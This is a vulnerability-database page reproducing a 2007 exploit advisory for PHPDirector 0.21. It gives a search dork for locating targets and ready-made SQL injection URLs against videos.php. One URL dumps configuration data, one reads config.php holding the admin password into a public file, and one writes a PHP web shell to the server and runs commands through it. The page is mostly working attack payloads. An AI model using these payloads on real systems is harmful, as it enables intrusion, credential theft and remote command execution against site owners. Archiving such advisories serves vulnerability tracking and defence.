Lucene search
K

PHPDirector <= 0.21 (videos.php id) Remote SQL Injection Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

PHPDirector <= 0.21 Remote SQL Injection Vulnerability, Path Disclosure, admin & password in config.ph

Code

                                                PHPDirector &#60;= 0.21 (SQL injection/Upload SHELL) Remote Vulnerabilities

WEB APP: PHPDirector 0.21
SITE: http://www.phpdirector.co.uk/site/
DORK: &#34;Powered by PHP Director&#34;

AUTHOR: Kw3rLn [ teh_lost_byte[at]YaHoO[d0t]Com ]

* Romanian Security Team [Ethical Hacking] - hTTp://RSTZONE.nET

DESCRIPTION: - SQL injection in $id of videos.php
             - admin & password are in config.php :-(
             - Path disclosure
             - It doesn`t deserve to make an sploit

EXPLOIT:

SQL INJECTION: http://www.site.com/videos.php?id=-1%20UNION%20SELECT%20name,news,vids_per_page,version,template,6,7,8,9,10,11,12,13,14,15%20FROM%20pp_config

FIND ADMIN PASS & DB INFO:
1. We must have teh path .. check: http://www.site.com/videos.php?id[]= (path disclosure)
2. http://www.site.com/videos.php?id=-1%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13,14,load_file(&#39;[path_you_just_found]/config.php&#39;)%20FROM%20pp_config%20into%20outfile%20&#39;[path_you_just_found]/config.txt&#39;
3. Now check: http://www.site.com/config.txt

UPLOAD SHELL:
1. We must have teh path .. check: http://www.site.com/videos.php?id[]= (path disclosure)
2. http://www.site.com/videos.php?id=-1%20UNION%20SELECT%201,&#39;&#60;?php%20system($_GET[cmd]);%20?&#62;&#39;,3,4,5,6,7,8,9,10,11,12,13,14,15%20INTO%20OUTFILE%20&#39;[path_founded]/shell.php&#39;%20FROM%20pp_config
3. http://www.site.com/shell.php?cmd=uname -a


GREETZ: all memberz of RST and milw0rm
//kw3rln [http://rstzone.net]

# milw0rm.com [2007-07-02]

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation